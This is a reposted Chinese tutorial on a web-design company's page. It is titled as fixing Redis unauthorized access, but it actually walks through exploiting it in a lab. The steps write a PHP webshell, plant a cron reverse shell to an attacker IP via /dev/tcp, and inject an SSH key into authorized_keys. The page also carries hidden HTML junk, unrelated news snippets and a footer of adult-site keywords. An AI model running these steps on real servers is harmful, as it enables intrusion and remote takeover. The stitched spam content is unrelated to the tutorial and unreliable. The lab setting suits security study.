1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          未授權訪問(Redis中出現未授權訪問如何解決)

          來源:互聯網轉載 時間:2024-05-12 00:09:18

          漏洞原理

          Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh文件夾的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。

          利用條件

          • redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網

          • 沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務

          漏洞危害

          • 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據

          • 攻擊者可通過eval執行lua代碼,或通過數據備份功能往磁盤寫入后門文件

          • 最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器

          漏洞復現

          搭建測試環境

          受害機Ubuntu 20.04

          1. 安裝php:sudo apt install php7.4-cli libapache2-mod-php

          2. 安裝apache2:sudo apt install apache2 。并啟動apache服務:sudo service apache2 start 。

          3. 安裝redis,環境需要4.x/5.x以下的redis版本,這里下載3.2版本的,并解壓、編譯:

          $wgethttp://download.redis.io/releases/redis-3.2.11.tar.gz$tar-zxvfredis-3.2.11.tar.gz$cdredis-3.2.11$make

          如果make 時遇到以下報錯,需要安裝gcc,并設置啟動參數:

          錯誤信息如下:

          /bin/sh: cc: command not found

          解決辦法,安裝gcc:

          sudo apt install gcc

          然后設置make啟動參數后即可運行:

          make MALLOC=libc

          4.編譯完成后,進入src目錄下,復制redis-cliredis-server/usr/bin/目錄下:

          $cdsrc$sudocpredis-cliredis-server/usr/bin/

          5.回到redis-3.2.11目錄中,復制redis.conf文件到/etc/目錄下:

          $cd..$sudocpredis.conf/etc/

          使用sudo vim /etc/redis.conf 編輯配置文件,將61行的IP注釋起來,表示外網可訪問,如下:


          然后將80行的yes改為no,表示關閉保護模式,如下:


          然后保存退出。

          使用redis-server /etc/redis.conf啟動redis服務:

          打開一個新的終端,在窗口使用redis-cli 命令,測試能否正常連接redis:

          使用quit退出redis命令行,然后在Ubuntu終端中開啟ssh服務,確保后面能使用ssh進行連接:

          $sudoservicesshstart

          攻擊機Kali 2021.1

          只要能連上redis即可,需要有redis-cli 命令,如果沒有redis,需要進行安裝:
          bash $ sudo apt install redis-tools

          利用redis寫入webshell

          利用條件

          • 服務器開著web服務

          • redis有web目錄寫權限,可以往web路徑寫入文件

          利用過程

          測試使用Kali連接Ubuntu的redis服務:

          $redis-cli-h192.168.101.6

          如果成功連接上受害機,說明受害機存在redis未授權訪問漏洞。

          redis可以寫入文件。使用config get dir 命令可以查看寫入文件的目錄,并且可以用來修改寫入文件的目錄。如下:


          因為web服務無法訪問到/home目錄下的內容,所以需要修改redis保存文件的路徑,將其修改到網站的根目錄下,也就是 默認的 /var/www/html 目錄。因此redis需要具有對/var/www/html 寫入的權限,使用config set dir /var/www/html 來修改dir的值:

          然后使用redis寫入文件:

          $configsetdbfilenameshell.php$setxxx"<?phpphpinfo();?>"$save

          然而并不能寫入文件,結果如下:


          具體原因是因為redis對web根目錄沒有寫入權限,這是一個比較重要的點,也是能否利用未授權訪問來getshell的因素之一。為了測試,此時需要手動在受害機網站根目錄中,新建一個其他用戶具有可寫入權限的文件夾,然后再將redis保存文件的dir值修改為新建文件夾的路徑:



          此時再次進行寫入,可以看到已經保存成功了:

          成功寫入文件后可以在受害機中進行查看:

          現在在瀏覽器中訪問這個頁面試試:

          從上面的訪問結果可以看出我們寫入的php代碼已經成功執行并返回。再次寫入文件,將一句話木馬寫入到目錄中:

          訪問webshell頁面:

          使用蟻劍連接webshell:

          利用redis反彈shell

          原理:在攻擊機上開啟nc反彈端口監聽,通過redis未授權訪問漏洞,寫入Linux定時計劃,反彈shell。

          利用條件對/var/spool/cron文件夾有寫入權限

          利用過程首先在攻擊機監聽一個端口:

          $nc-lvnp6666

          在攻擊機開啟新的命令行窗口,連接受害機的redis服務,然后執行下面的命令:

          $setx"\n\n\n*****bash-i>&/dev/tcp/192.168.101.8/66660>&1\n\n\n"$configsetdir/var/spool/cron/$configsetdbfilenameroot$save

          注意此處的計劃任務命令,如果在Ubuntu中,是無法反彈shell的,原因是因為ubuntu會將redis寫入的緩存亂碼當作命令來解釋,導致執行不成功。而centos不會對亂碼進行解釋,可以成功執行反彈shell的命令。

          可以在受害機查看文件是否保存成功:

          但是在ubuntu下無法反彈shell,這是由于redis向任務計劃文件里寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計劃,而ubuntu并不會忽略這些亂碼,所以導致命令執行失敗,因為自己如果不使用redis寫任務計劃文件,而是正常向/etc/cron.d目錄下寫任務計劃文件的話,命令是可以正常執行的,所以還是亂碼的原因導致命令不能正常執行,而這個問題是不能解決的,因為利用redis未授權訪問寫的任務計劃文件里都有亂碼,這些代碼來自redis的緩存數據。

          利用redis寫入ssh公鑰

          利用條件受害機必須有~/.ssh文件夾,無論是普通用戶還是root用戶,否則無法在redis中設置dir的值

          直接使用~/.ssh是不行的,需要絕對路徑。

          另一個條件就是需要知道家目錄的名稱,比如上面的/home/unravel/.ssh,必須知道unravel

          利用過程首先在攻擊機生成ssh公鑰,用于連接受害機時來使用私鑰驗證登陸:

          $ssh-keygen

          將公鑰開頭和結尾添加兩行換行,并存儲為新的文本文件,用于redis在連接時寫入的內容。添加兩個換行的原因是對redis緩存垃圾數據和公鑰的內容分隔開來,以免ssh連接失敗??梢允褂胋ash命令來完成這個操作:

          (echo-e"\n\n";cat~/.ssh/id_rsa.pub;echo-e"\n\n")>key.txt

          使用攻擊機連接受害機時寫入變量x,x存儲攻擊機的公鑰:

          catkey.txt|redis-cli-h192.168.101.6-xsetx

          使用攻擊機連接受害機redis,將寫入的文件路徑設置為/home/unravel/.ssh,并設置保存的文件名稱為authorized_keys:

          注意authorized_keys名稱是固定的,不能隨便改,否則連接不上ssh
          bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save

          然后在受害機文件中查看一下:

          在攻擊機嘗試使用本地私鑰對受害機進行連接:

          $sshunravel@192.168.101.6-i~/.ssh/id_rsa

          上述就是小編為大家分享的Redis中出現未授權訪問如何解決了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注本站行業資訊頻道。

          標簽:未授權訪問-

          c語言中正確的字符常量是用一對單引號將一個字符括起表示合法的字符常量。例如‘a’。數值包括整型、浮點型。整型可用十進制,八進制,十六進制。八進制前面要加0,后面...

          2022年天津專場考試原定于3月19日舉行,受疫情影響確定延期,但目前延期后的考試時間推遲。 符合報名條件的考生,須在規定時間登錄招考資訊網(www.zha...

          :喜歡聽,樂意看。指很受歡迎?!巴卣官Y料”喜聞樂見:[ xǐ wén lè jiàn ]詳細解釋1. 【解釋】:喜歡聽,樂意看。指很受歡迎。2. 【示例】:這是...

          開戶信息怎么查詢?【1】可以到銀行卡相應的銀行柜臺進行查詢。辦理業務的時候,直接詢問工作人員并且提供身份證信息即可?!?】通過電話咨詢客服,根據客服提示進行操作,隨后客服將告知用戶所需要的信息?!?】用戶可以登錄發卡銀行的相關APP,輸入個人信息之后登錄到首頁中即可查詢到相關的開戶信息。上述是持卡者可以采取的方式,如果銀行卡是用戶自己的,用戶可以打該銀行的客服電話進行詢問。而且用戶開通了網上銀行的...

          3月21日,本月LPR報價出爐!2022年3月21日貸款市場報價利率(LPR)為:1年期LPR為3.7%,5年期以上LPR為4.6%,均維持前值不變。2022 年2 月21 日貸款市場報價利率(LPR)為:1 年期LPR 為3.70%,此前為3.70%,5 年期以上LPR 為4.60%,此前為4.60%。此前,2021 年12 月和2022 年1 月,1 年期LPR 連續兩個月下降,分別下降了5 ...

          (資料圖片僅供參考)隨著社會越來越發達,大家都選擇在網絡上汲取相關知識內容,比如劉愷威飾演的皇太極電視劇叫什么,為了更好的解答大家的問題,小編也是翻閱整理了相應內容,下面就一起來看一下吧!劉愷威飾演的皇太極電視劇叫《美人無淚》?!睹廊藷o淚》這部電視劇是于正繼《美人心計》、《美人天下》后的第三部美人的收官之作,由袁姍姍、劉愷威、張檬、蔡少芬、韓棟、鄧莎等主演的古裝言情劇。劉愷威飾演清太祖愛新覺羅?努...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>